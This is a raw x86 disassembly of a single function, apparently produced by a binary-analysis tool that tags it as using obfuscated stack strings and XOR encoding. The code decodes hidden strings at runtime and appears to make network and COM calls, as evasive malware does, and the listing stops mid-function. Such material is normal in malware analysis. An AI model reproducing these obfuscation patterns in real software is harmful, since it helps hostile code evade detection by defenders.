Function at 0x410750
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x23c
mov dword [esp + 0x3c], 0xf14fffa3
mov dword [esp + 0x40], 0xf549f37a
mov dword [esp + 0x44], 0xc94af748
mov dword [esp + 0x48], 0xcdbbcb6b
mov dword [esp + 0x4c], 0xc1b0cfbb
mov dword [esp + 0x50], 0xc5a2c3b0
mov dword [esp + 0x54], 0xd96fc7bc
mov dword [esp + 0x58], 0xdd64db63
mov dword [esp + 0x5c], 0xd16fdf78
mov dword [esp + 0x60], 0xd567d359
mov dword [esp + 0x64], 0x2988d7b4
mov dword [esp + 0x68], 0x2d4a2b7c
mov dword [esp + 0x6c], 0x215e2f5f
mov dword [esp + 0x70], 0x2552235e
mov dword [esp + 0x74], 0x39462769
mov dword [esp + 0x78], 0x3d813b91
mov dword [esp + 0x7c], 0x31483f82
mov dword [esp + 0x80], 0x357f3344
mov dword [esp + 0x84], 0x9be3754
mov dword [esp + 0x88], 0xd7e0b7e
mov dword [esp + 0x8c], 0x16e0f77
mov dword [esp + 0x90], 0x5b20343
mov dword [esp + 0x94], 0x19ba07b4
mov dword [esp + 0x98], 0x1db31bbf
mov dword [esp + 0x9c], 0x11bc1fbb
mov dword [esp + 0xa0], 0x15a9134d
mov dword [esp + 0xa4], 0x696717a0
mov dword [esp + 0xa8], 0x6d1f6b1f
mov dword [esp + 0xac], 0x61106f25
mov dword [esp + 0xb0], 0x65146315
mov dword [esp + 0xb4], 0x791e6704
mov dword [esp + 0xb8], 0x7d227b25
mov dword [esp + 0xbc], 0x71217f28
mov dword [esp + 0xc0], 0x750e732c
mov dword [esp + 0xc4], 0x49ca7714
mov dword [esp + 0xc8], 0x4df74bf3
mov dword [esp + 0xcc], 0x412e4feb
mov dword [esp + 0xd0], 0x45e54319
mov dword [esp + 0xd4], 0x59fb47e1
mov dword [esp + 0xd8], 0x5d215be9
mov dword [esp + 0xdc], 0x511b5f3c
mov dword [esp + 0xe0], 0x55e053e8
mov dword [esp + 0xe4], 0xa9e957e5
mov dword [esp + 0xe8], 0xaddbab0f
mov dword [esp + 0xec], 0xa1ddafdf
mov dword [esp + 0xf0], 0xa5dca3eb
mov dword [esp + 0xf4], 0xb9d8a7d4
mov dword [esp + 0xf8], 0xbdc4bbc8
mov dword [esp + 0xfc], 0xb1debfcc
mov dword [esp + 0x100], 0xb511b3e5
mov dword [esp + 0x104], 0x8915b712
mov dword [esp + 0x108], 0x8d318b3a
mov dword [esp + 0x10c], 0x81f98ffd
mov dword [esp + 0x110], 0x85cb83f5
mov dword [esp + 0x114], 0x99f387fa
mov dword [esp + 0x118], 0x9d9a9bee
mov eax, dword [0x4500f8]
mov ecx, 0xd5
mov edx, 0xa
nop
nop
mov esi, edx
and esi, 0x1a
mov ebx, ecx
and ebx, 0xe5
or ebx, esi
xor bl, byte [esp + ecx - 0x99]
xor bl, 0x1a
add bl, 0xd7
mov byte [esp + ecx - 0x99], bl
inc ecx
dec edx
cmp ecx, 0x1b5
jne case.default.0x4109e5
lea ecx, [esp + 0x3c]
push 0
push 0
push 0
push 0
push ecx
call eax
mov ebp, eax
xor eax, eax
test ebp, ebp
setne al
jmp dword [eax*4 + 0x44ac10]
xor ebx, ebx
jmp 0x410de9
jmp dword [0x44ac1c]
push 0
push edi
call dword [0x450114]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44ac78]
mov bl, 1
jmp 0x410dd1
mov dword [esp + 0x3c], 0
lea eax, [esp + 0x3c]
push eax
push esi
push ebx
push edi
call dword [0x450120]
mov dword [esp + 0x3c], 0
lea eax, [esp + 0x3c]
push eax
push esi
push ebx
push edi
call dword [0x450120]
jmp dword [0x44ac6c]
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44ac70]
jmp 0x410dd1
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ac28]
xor ebx, ebx
jmp 0x410de2
mov dword [esp + 4], eax
mov dword [esp], ebp
mov eax, dword [0x450100]
mov dword [esp + 0x38], eax
mov dword [esp + 8], 0xf8e0908
mov word [esp + 0xc], 0
lea edx, [esp + 8]
xor ebx, ebx
xor esi, esi
nop
nop
nop
nop
movzx eax, byte [edx]
mov ebp, ebx
and ebp, 0x3b1537fc
mov ecx, esi
xor ecx, 0xe2756401
sub ecx, ebp
inc ecx
mov edi, ecx
xor edi, eax
lea ebp, [edi + edi]
not ebp
add ebp, edi
and ebp, ecx
add ebp, ebp
sub ebp, ecx
mov ecx, 0xff
sub ecx, ebp
and ecx, eax
not eax
and eax, ebp
sub ecx, eax
add cl, 0xf6
mov byte [edx], cl
inc edx
dec esi
add ebx, 0xfffffffe
cmp esi, 0xfffffffa
jne 0x410aa0
mov ecx, dword [esp + 8]
mov dword [esp + 0x3c], 0x3cd01d0
mov dword [esp + 0x40], 0x7d205d7
mov word [esp + 0x44], 0x908
mov dword [esp + 0x46], 0
mov word [esp + 0x4a], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + edx + 0x3c]
lea esi, [edx - 0x68b81640]
mov edi, esi
and edi, eax
mov ebx, edi
not ebx
mov ebp, edx
xor ebp, 0x3f
and ebp, eax
xor esi, eax
add esi, eax
lea eax, [edi + ebx*2]
inc eax
mov edi, esi
sub edi, ebp
sub ebp, esi
lea ebx, [edi*2 + 0x100]
add ebx, ebp
and ebx, eax
add bl, 0x40
mov byte [esp + edx + 0x3c], bl
inc edx
cmp edx, 0x10
jne case.default.0x410b8e
push ecx
push 0
push 0
push 0
push dword [esp + 0x260]
lea eax, [esp + 0x50]
push eax
push dword [esp + 0x1c]
call dword [esp + 0x54]
mov edi, eax
xor eax, eax
test edi, edi
setne al
mov ebx, dword [esp + 0x260]
mov ebp, dword [esp]
jmp dword [eax*4 + 0x44ac30]
xor ebx, ebx
jmp 0x410dd8
xor eax, eax
mov ecx, dword [esp + 0x268]
test ecx, ecx
setg al
jmp dword [eax*4 + 0x44ac38]
push ecx
push ecx
push ecx
push ecx
push edi
call dword [0x450108]
nop
nop
nop
nop
jmp dword [0x44ac4c]
movzx eax, byte [0x450230]
mov esi, dword [esp + 0x264]
jmp dword [eax*4 + 0x44ac50]
mov dword [esp + 8], 0xc36dc103
mov dword [esp + 0xc], 0xc76dc56b
mov dword [esp + 0x10], 0xcb6fc961
mov dword [esp + 0x14], 0xcf2ecd16
mov dword [esp + 0x18], 0xb30db10f
mov dword [esp + 0x1c], 0xb710b517
mov dword [esp + 0x20], 0xbb17b907
mov dword [esp + 0x24], 0xbf01bd2b
mov dword [esp + 0x28], 0xa33ba102
mov dword [esp + 0x2c], 0xa77ba534
mov dword [esp + 0x30], 0xa9a8
mov byte [esp + 0x34], 0
mov eax, 0x33f8630
mov ecx, 0xa8c079cf
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x33f8628]
mov esi, ecx
and esi, 0x19
mov ebx, eax
and ebx, 0x2080266
or ebx, esi
xor ebx, edx
xor ebx, 0x55378419
add ebx, 0x4bc2610f
mov edx, ebx
and edx, 1
xor ebx, 1
lea edx, [ebx + edx*2]
mov byte [esp + eax - 0x33f8628], dl
inc eax
dec ecx
cmp eax, 0x33f865d
jne 0x410c50
movzx eax, word [esp + 8]
test ax, ax
lea edx, [esp + 0x3c]
je 0x410cc1
lea ecx, [esp + 0xa]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx], ax
add edx, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x410cb0
mov word [edx], 0
movzx eax, word [0x450232]
test ax, ax
je 0x410cf5
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx + ecx], ax
movzx eax, word [ecx + 0x450234]
add ecx, 2
test ax, ax
jne 0x410ce0
add edx, ecx
mov word [edx], 0
mov eax, dword [0x45010c]
mov dword [esp + 8], 0x83e2e1e0
mov word [esp + 0xc], 0
mov ecx, 0x39d2c058
mov edx, 0x462d3fa7
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + ecx - 0x39d2c050]
mov esi, edx
and esi, 0x44292e23
mov ebp, ecx
and ebp, 0xc28054
or ebp, esi
xor ebp, ebx
mov esi, ebp
xor esi, 0x7d396e2b
add ebp, ebp
xor ebp, 0x7a72dc57
sub esi, ebp
and esi, ecx
add esi, esi
sub ebx, esi
lea esi, [ecx + ebx]
add esi, 0xdee23e47
mov ebx, esi
and ebx, 1
xor esi, 1
lea ebx, [esi + ebx*2]
mov byte [esp + ecx - 0x39d2c050], bl
inc ecx
dec edx
cmp ecx, 0x39d2c05e
jne 0x410d20
lea ecx, [esp + 0x3c]
push dword [esp + 8]
push 0xffffffffffffffff
push ecx
push edi
call eax
mov esi, dword [esp + 0x264]
mov ebx, dword [esp + 0x260]
mov ebp, dword [esp]
xor eax, eax
mov edx, dword [esp + 0x254]
mov ecx, edx
neg ecx
sbb eax, eax
push 0
push esi
push dword [esp + 0x264]
push dword [esp + 0x264]
push eax
push edx
push edi
call dword [0x450110]
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44ac58]
xor ebx, ebx
push edi
call dword [0x450124]
push dword [esp + 4]
call dword [0x450124]
push ebp
call dword [0x450124]
mov eax, ebx
add esp, 0x23c
pop esi
pop edi
pop ebx
pop ebp
ret
jmp dword [0x44ac64]
mov eax, dword [0x4500fc]
mov dword [esp + 0x3c], 0x9f9e9827
mov dword [esp + 0x40], 0
mov ecx, 0xac0e2799
mov edx, 0x6b0389e5
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x53f1d8a3]
lea edi, [ecx + 0x68ee4e81]
xor edi, esi
or edi, edx
add esi, ecx
lea edi, [esi + edi*2]
and esi, 1
xor edi, 1
lea ebx, [edi + esi*2]
mov byte [esp + ecx + 0x53f1d8a3], bl
inc ecx
dec edx
cmp ecx, 0xac0e27a1
jne 0x410e20
movzx ecx, word [esp + 0x3c]
push 0
push ecx
push 0x45012c
push ebp
call eax
mov eax, dword [0x4500fc]
mov dword [esp + 0x3c], 0x9f9e9827
mov dword [esp + 0x40], 0
mov ecx, 0xac0e2799
mov edx, 0x6b0389e5
movzx esi, byte [esp + ecx + 0x53f1d8a3]
lea edi, [ecx + 0x68ee4e81]
xor edi, esi
or edi, edx
add esi, ecx
lea edi, [esi + edi*2]
and esi, 1
xor edi, 1
lea ebx, [edi + esi*2]
mov byte [esp + ecx + 0x53f1d8a3], bl
inc ecx
dec edx
cmp ecx, 0xac0e27a1
jne 0x410e80
movzx ecx, word [esp + 0x3c]
push 0
push ecx
push 0x45012c
push ebp
call eax
jmp dword [0x44ac24]
push 0
push 0
push 0
push 3
push 0
push 0
push 0
push 0xffffffffffffffff
push 0
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
shr eax, 0x1f
jmp dword [eax*4 + 0x44b3b0]
push 0x4500cc
call int.0043bf80
add esp, 4
mov ecx, dword [0x44a684]
mov dword [esp + 0xb8], 0xf1d1a5ea
mov word [esp + 0xbc], 0
mov byte [esp + 0xbe], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0x7d
xor dl, byte [esp + eax + 0xb8]
add dl, 0x8f
mov byte [esp + eax + 0xb8], dl
inc eax
cmp eax, 7
jne 0x410f50
mov edx, dword [str.YTy0EM__best3]
mov dword [esp + 0x1b8], 0xb64e5251
mov dword [esp + 0x1bc], 0x565d504e
mov dword [esp + 0x1c0], 0x4e5d5446
mov dword [esp + 0x1c4], 0x66757669
mov dword [esp + 0x1c8], 0x7dac6c6f
mov dword [esp + 0x1cc], 0xb38b7f61
mov dword [esp + 0x1d0], 0x7fa4b9be
mov dword [esp + 0x1d4], 0xd793797d
mov word [esp + 0x1d8], 0
lea eax, [esp + 0x1b8]
mov esi, 0x5b5462ab
movzx ebx, byte [eax]
lea edi, [esi - 0x5b546200]
and edi, ebx
or ebx, esi
not ebx
or ebx, edi
mov edi, 0x24
sub edi, ebx
add ebx, 0x5b
and edi, 0x5d
and ebx, 0xa2
sub ebx, edi
add bl, 0x5e
mov byte [eax], bl
inc eax
dec esi
cmp esi, 0x5b546289
jne 0x410fe0
movzx ebx, byte [esp + 0x1b8]
lea eax, [esp + 0xa20]
test bl, bl
je 0x41103b
lea esi, [esp + 0x1b9]
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [esi]
inc esi
test bl, bl
jne 0x411030
mov byte [eax], 0
movzx ebx, byte [edx]
test bl, bl
je 0x41105b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], bl
inc eax
movzx ebx, byte [edx]
inc edx
test bl, bl
jne 0x411050
mov byte [eax], 0
movzx edx, byte [esp + 0xb8]
test dl, dl
je 0x41108b
lea esi, [esp + 0xb9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [esi]
inc esi
test dl, dl
jne 0x411080
mov byte [eax], 0
movzx edx, byte [ecx]
test dl, dl
je 0x4110ab
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], dl
inc eax
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x4110a0
mov byte [eax], 0
mov dword [esp + 0x1b8], 0x832d8143
mov dword [esp + 0x1bc], 0x8732852a
mov dword [esp + 0x1c0], 0x8b24892d
mov dword [esp + 0x1c4], 0x8f638d38
mov dword [esp + 0x1c8], 0x932b9144
mov dword [esp + 0x1cc], 0x97339524
mov dword [esp + 0x1d0], 0x9b7a9962
mov dword [esp + 0x1d4], 0x9f2e9d3d
mov dword [esp + 0x1d8], 0x63ce61d0
mov dword [esp + 0x1dc], 0x67c565cd
mov dword [esp + 0x1e0], 0x6bde69c9
mov dword [esp + 0x1e4], 0x6fc16dc5
mov dword [esp + 0x1e8], 0x739d71de
mov dword [esp + 0x1ec], 0x779b75cc
mov dword [esp + 0x1f0], 0x7bcd79cf
mov dword [esp + 0x1f4], 0x7f937dcb
mov dword [esp + 0x1f8], 0x43ed41e6
mov dword [esp + 0x1fc], 0x47eb45f6
mov dword [esp + 0x200], 0x4bff49a5
mov dword [esp + 0x204], 0x4fe24dfe
mov dword [esp + 0x208], 0x53fc51f5
mov dword [esp + 0x20c], 0x57f955f7
mov dword [esp + 0x210], 0x5bff59fc
mov dword [esp + 0x214], 0x5f535df8
mov dword [esp + 0x218], 0x2322212a
mov byte [esp + 0x21e], 0
mov word [esp + 0x21c], 0
mov ecx, 0xfd483fe0
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x2b7c1d8]
lea edi, [ecx + 0x40000000]
and edi, 0x20480421
mov edx, ecx
and edx, 0xdd007bde
or edx, edi
mov edi, esi
xor edi, 0x20480421
mov ebx, edx
xor ebx, 0x21
xor esi, 0xdd007bde
and esi, ebx
xor edx, 0xdd837bde
and edx, edi
or edx, esi
mov esi, edx
and esi, 0x1f
xor edx, 0xd96c09f
lea ebx, [edx + esi*2]
and edx, 1
or ebx, 1
add ebx, edx
mov byte [esp + ecx + 0x2b7c1d8], bl
inc ecx
cmp ecx, 0xfd484047
jne 0x4111e0
mov dword [esp + 0xb8], 0x71ad0f5d
mov dword [esp + 0xbc], 0x75d973e0
mov word [esp + 0xc0], 0x7774
mov dword [esp + 0xc2], 0
mov word [esp + 0xc6], 0
mov ecx, 0xf0ce39bd
mov edx, 0xf31c642
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0xf31c6fb]
mov edi, edx
and edi, 0xb118276
mov ebx, ecx
and ebx, 0xd0400089
or ebx, edi
xor ebx, esi
mov esi, ebx
and esi, 0x5c
xor esi, 8
and ebx, 0xa3
xor ebx, 0x22
sub ebx, esi
add bl, 0xab
mov byte [esp + ecx + 0xf31c6fb], bl
inc ecx
dec edx
cmp ecx, 0xf0ce39cd
jne 0x411290
lea ecx, [esp + 0xa20]
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
sub edx, eax
lea eax, [esp + 0xb4]
lea esi, [esp + 0x10]
lea ebx, [esp + 0x1b8]
lea edi, [esp + 0xb8]
push eax
push esi
push edx
push ecx
push ebx
push edi
push 0x45012c
call fcn.0040fd60
add esp, 0x1c
movzx eax, al
xor esi, esi
jmp dword [eax*4 + 0x44b3b8]
push 0x104
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ecx, dword [esp + 0xb4]
mov edi, dword [esp + 0x10]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [edi + ecx - 1]
cmp edx, 0x3d
je 0x41134a
cmp edx, 0x2e
jne 0x41134b
dec eax
movzx ecx, byte [edi + ecx - 2]
cmp ecx, 0x3d
je 0x41135a
cmp ecx, 0x2e
jne 0x41135b
dec eax
push eax
call fcn.0040cdd0
add esp, 4
mov esi, eax
push eax
push edi
call fcn.0043cae0
add esp, 8
jmp dword [0x44b3c0]
jmp case.0x4109e5.46
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44b3d0]
push esi
call fcn.00403da0
add esp, 4
mov edi, eax
jmp dword [0x44b3d8]
push esi
call fcn.0040cde0
add esp, 4
push edi
call fcn.00404860
add esp, 4
mov dword [esp + 8], eax
mov word [esp + 0x1b8], 0xe4fe
mov byte [esp + 0x1ba], 0x72
mov word [esp + 0x1bb], 0
mov eax, 0x2defa86c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x2defa6b4]
xor ecx, eax
add ecx, 0x1a51b5e3
mov edx, ecx
and edx, 1
xor ecx, 1
lea ecx, [ecx + edx*2]
mov byte [esp + eax - 0x2defa6b4], cl
inc eax
cmp eax, 0x2defa871
jne 0x4113e0
push ebx
push dword [esp + 0xc]
call fcn.004049b0
add esp, 8
mov ecx, dword [case.0x4109e5.53]
nop
nop
nop
jmp ecx
xor ecx, ecx
test eax, eax
setg cl
jmp dword [ecx*4 + 0x44b3f0]
jmp dword [0x44b3f8]
mov dword [esp + 0xac], edi
mov dword [esp + 0x1b8], 0x56a5a9
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 0x1b8]
mov edi, eax
and edi, 4
mov esi, ecx
xor esi, 0xe1c8448e
add esi, edi
xor esi, edx
lea edx, [esi*2 + 0x2e2d5272]
add esi, 0x9716a939
and edx, 2
mov edi, edx
and edi, esi
or edx, esi
xor edx, 1
add edx, edi
mov byte [esp + ecx + 0x1b8], dl
inc ecx
add eax, 2
cmp ecx, 4
jne 0x411450
push ebx
push dword [esp + 0xc]
call fcn.004049b0
add esp, 8
mov dword [esp + 0x14], eax
mov word [esp + 0x1b8], 0xfc83
mov byte [esp + 0x1ba], 0x12
mov dword [esp + 0x1bb], 0
mov byte [esp + 0x1bf], 0
mov esi, 0x8b2f8cbb
mov ecx, 0x74d07344
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [esp + 0xc], esi
movzx edx, byte [esp + ecx - 0x74d0718c]
mov eax, ecx
and eax, edx
add eax, eax
mov edi, edx
sub edi, eax
add edi, ecx
or edi, esi
mov ebx, edi
not ebx
mov esi, ebx
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
mov eax, edi
and eax, 2
and esi, 0x74d0734d
imul eax, esi
shr edi, 1
and edi, 1
imul edi, esi
add eax, ebx
mov esi, dword [esp + 0xc]
add eax, esi
inc eax
xor eax, edx
lea ebx, [ebx + edi*2]
not ebx
add ebx, ecx
and ebx, edx
add ebx, ebx
sub ebx, eax
mov edx, ebx
and edx, 0xa9
mov eax, ebx
and eax, 2
mov esi, eax
xor esi, 2
imul esi, edx
or edx, 2
imul edx, eax
xor ebx, 0xab
add ebx, esi
mov esi, dword [esp + 0xc]
add ebx, edx
inc bl
mov byte [esp + ecx - 0x74d0718c], bl
dec esi
inc ecx
cmp esi, 0x8b2f8cb3
jne 0x4114e0
lea eax, [esp + 0x1b8]
push eax
push dword [esp + 0xc]
call fcn.004049b0
add esp, 8
mov dword [esp + 0x1b8], 0x8f352f2c
mov ecx, 0x62
mov edx, 0x9d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0x156]
mov ebx, edx
xor ebx, ecx
and ebx, esi
xor ebx, ecx
add bl, 0x16
mov byte [esp + ecx + 0x156], bl
inc ecx
dec edx
cmp ecx, 0x66
jne case.default.0x4116e6
xor ebx, ebx
test eax, eax
setg bl
lea eax, [esp + 0x1b8]
push eax
mov esi, dword [esp + 0xc]
push esi
call fcn.004049b0
add esp, 8
mov dword [esp + 0xc], eax
push esi
call fcn.004122b0
add esp, 4
push dword [esp + 0xac]
call fcn.00404e10
add esp, 4
lea esi, [esp + 0xc40]
mov ecx, esi
push 1
call fcn.0040d680
push esi
call fcn.00428290
add esp, 4
mov ecx, esi
call fcn.0040dfb0
lea esi, [esp + 0xbd8]
mov ecx, esi
push 3
call fcn.0040d680
push esi
call fcn.00428ca0
add esp, 4
mov ecx, esi
call fcn.0040dfb0
lea esi, [esp + 0xb70]
mov ecx, esi
push 1
call fcn.0040d680
push esi
call fcn.00428eb0
add esp, 4
mov ecx, esi
call fcn.0040dfb0
lea esi, [esp + 0xb08]
mov ecx, esi
push 1
call fcn.0040d680
push esi
call fcn.0042b710
add esp, 4
push esi
call fcn.0042bf70
add esp, 4
push esi
call int.0042c410
add esp, 4
push esi
call fcn.0042ede0
add esp, 4
mov ecx, esi
call fcn.0040dfb0
lea esi, [esp + 0xaa0]
mov ecx, esi
push 1
call fcn.0040d680
push esi
call fcn.0042de90
add esp, 4
mov ecx, esi
call fcn.0040dfb0
lea esi, [esp + 0x9b8]
mov ecx, esi
push 1
call fcn.0040d680
push esi
call fcn.00430660
add esp, 4
push esi
call fcn.00437510
add esp, 4
jmp dword [ebx*4 + 0x44b410]
push esi
call fcn.004376d0
add esp, 4
lea ecx, [esp + 0x9b8]
call fcn.0040dfb0
call dword [sym.imp.ole32.dll_CoUninitialize]
mov dword [esp + 0x2c], 0xaea3b376
mov dword [esp + 0x30], 0x6624b4
mov eax, 0xbba6bbbb
mov ecx, 0x44
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0x44594471]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
mov esi, edx
and esi, 0x58
xor edx, 0x55be5558
lea esi, [edx + esi*2]
xor esi, 0x72
and edx, 0xd
add edx, edx
sub edx, esi
add dl, 0x73
mov byte [esp + eax + 0x44594471], dl
inc eax
dec ecx
cmp eax, 0xbba6bbc3
jne 0x411730
mov eax, dword [0x44a684]
mov dword [esp + 8], eax
mov dword [esp + 0x18], 0xf437732
mov word [esp + 0x1c], 0
mov byte [esp + 0x1e], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0x82
xor cl, byte [esp + eax + 0x18]
add cl, 0x76
mov byte [esp + eax + 0x18], cl
inc eax
cmp eax, 7
jne 0x411790
mov esi, dword [str.YTy0EM__best3]
mov dword [esp + 0x1b8], 0x3aeedea3
mov dword [esp + 0x1bc], 0xdceae4e1
mov dword [esp + 0x1c0], 0xe4e7e8ef
mov dword [esp + 0x1c4], 0x2fedeed7
mov dword [esp + 0x1c8], 0x2afcf0fe
mov dword [esp + 0x1cc], 0x373e3d3c
mov dword [esp + 0x1d0], 0x22c6fcf0
mov byte [esp + 0x1d4], 0x60
mov dword [esp + 0x1d5], 0
mov edi, 0xbf769c3f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + edi + 0x40896579]
mov ebx, edx
and ebx, edi
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0x7d
mul cl
mov ecx, eax
add cl, dl
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edi
add al, 0xc5
mov byte [esp + edi + 0x40896579], al
inc edi
cmp edi, 0xbf769c60
jne 0x411820
movzx eax, byte [esp + 0x1b8]
test al, al
lea edx, [esp + 0xb8]
je 0x41189b
lea edx, [esp + 0xb8]
lea ecx, [esp + 0x1b9]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x411890
mov byte [edx], 0
movzx eax, byte [esi]
test al, al
je 0x4118bb
inc esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x4118b0
mov byte [edx], 0
movzx eax, byte [esp + 0x18]
test al, al
je 0x4118db
lea ecx, [esp + 0x19]
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4118d0
mov byte [edx], 0
mov ecx, dword [esp + 8]
movzx eax, byte [ecx]
test al, al
je 0x4118fb
inc ecx
nop
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x4118f0
mov byte [edx], 0
movzx eax, byte [esp + 0x2c]
test al, al
je 0x41191b
lea ecx, [esp + 0x2d]
nop
nop
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x411910
mov byte [edx], 0
movzx eax, byte [0x4500cc]
test al, al
je 0x411941
xor ecx, ecx
nop
nop
nop
nop
nop
mov byte [edx + ecx], al
movzx eax, byte [ecx + 0x4500cd]
inc ecx
test al, al
jne 0x411930
add edx, ecx
mov ebx, edx
mov byte [edx], 0
mov dword [esp + 0x1b8], 0x93659153
mov dword [esp + 0x1bc], 0xaf22ad5a
mov dword [esp + 0x1c0], 0xab5ca955
mov dword [esp + 0x1c4], 0xa793a528
mov dword [esp + 0x1c8], 0xa32ba14c
mov dword [esp + 0x1cc], 0xbf43bd4c
mov dword [esp + 0x1d0], 0xbb9ab972
mov dword [esp + 0x1d4], 0xb746b555
mov dword [esp + 0x1d8], 0xb346b140
mov dword [esp + 0x1dc], 0x4fad4db5
mov dword [esp + 0x1e0], 0x4bc649a9
mov dword [esp + 0x1e4], 0x47b145bd
mov dword [esp + 0x1e8], 0x437541b6
mov dword [esp + 0x1ec], 0x5f6b5dd4
mov dword [esp + 0x1f0], 0x5bd559d7
mov dword [esp + 0x1f4], 0x576355db
mov dword [esp + 0x1f8], 0x53a551ae
mov dword [esp + 0x1fc], 0x6f9b6d9e
mov dword [esp + 0x200], 0x6be7695d
mov dword [esp + 0x204], 0x67926596
mov dword [esp + 0x208], 0x6394619d
mov dword [esp + 0x20c], 0x7f897d9f
mov dword [esp + 0x210], 0x7b877984
mov dword [esp + 0x214], 0x77637588
mov dword [esp + 0x218], 0x7372716a
mov byte [esp + 0x21e], 0
mov word [esp + 0x21c], 0
mov eax, 0xdc
mov ecx, 0x23
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax + 0xdc]
lea esi, [edx + edx]
not esi
add esi, edx
mov edi, ecx
and edi, edx
not edx
or edx, esi
and edx, eax
or edx, edi
add dl, 0xb4
mov byte [esp + eax + 0xdc], dl
inc eax
dec ecx
cmp eax, 0x143
jne 0x411a80
mov dword [esp + 0x2c], 0xd97ddb35
mov dword [esp + 0x30], 0xdd61df68
mov dword [esp + 0x34], 0xd3dc
mov eax, 0x3054e02f
xor ecx, ecx
nop
nop
nop
movzx edx, byte [esp + eax - 0x3054e003]
mov edi, ecx
and edi, 6
mov esi, eax
and esi, 0x102019
or esi, edi
mov edi, eax
and edi, 6
xor edi, 0x4ba11f46
or esi, edi
mov edi, edx
xor edi, 0x19
xor edx, 0x26
or edx, esi
not esi
or esi, edi
and edx, esi
add dl, 0x15
mov byte [esp + eax - 0x3054e003], dl
inc eax
dec ecx
cmp eax, 0x3054e03b
jne 0x411ad0
lea eax, [esp + 0xb8]
sub ebx, eax
lea ecx, [esp + 0xb0]
lea edx, [esp + 0x28]
lea esi, [esp + 0x2c]
push ecx
push edx
push ebx
push eax
lea eax, [esp + 0x1c8]
push eax
push esi
push 0x45012c
call fcn.0040fd60
add esp, 0x1c
movzx eax, al
jmp dword [eax*4 + 0x44b418]
xor eax, eax
cmp dword [esp + 0xc], 0
setg al
jmp dword [eax*4 + 0x44b438]
xor eax, eax
cmp dword [esp + 0x14], 0
setg al
jmp dword [eax*4 + 0x44b440]
mov ecx, dword [esp + 0xb0]
mov edi, dword [esp + 0x28]
lea eax, [ecx + ecx*2]
shr eax, 2
movzx edx, byte [edi + ecx - 1]
cmp edx, 0x3d
je 0x411b95
cmp edx, 0x2e
jne 0x411b96
dec eax
movzx ecx, byte [edi + ecx - 2]
cmp ecx, 0x3d
je 0x411ba5
cmp ecx, 0x2e
jne 0x411ba6
dec eax
push eax
call fcn.0040cdd0
add esp, 4
mov esi, eax
push eax
push edi
call fcn.0043cae0
add esp, 8
push dword [esp + 0x28]
call fcn.0043e770
add esp, 4
push esi
call fcn.00403da0
add esp, 4
mov ebx, eax
jmp dword [0x44b420]
jmp dword [0x44b42c]
push esi
call fcn.0040cde0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
call fcn.0040cde0
add esp, 4
jmp dword [0x44b430]
push ebx
call fcn.00418600
add esp, 4
push ebx
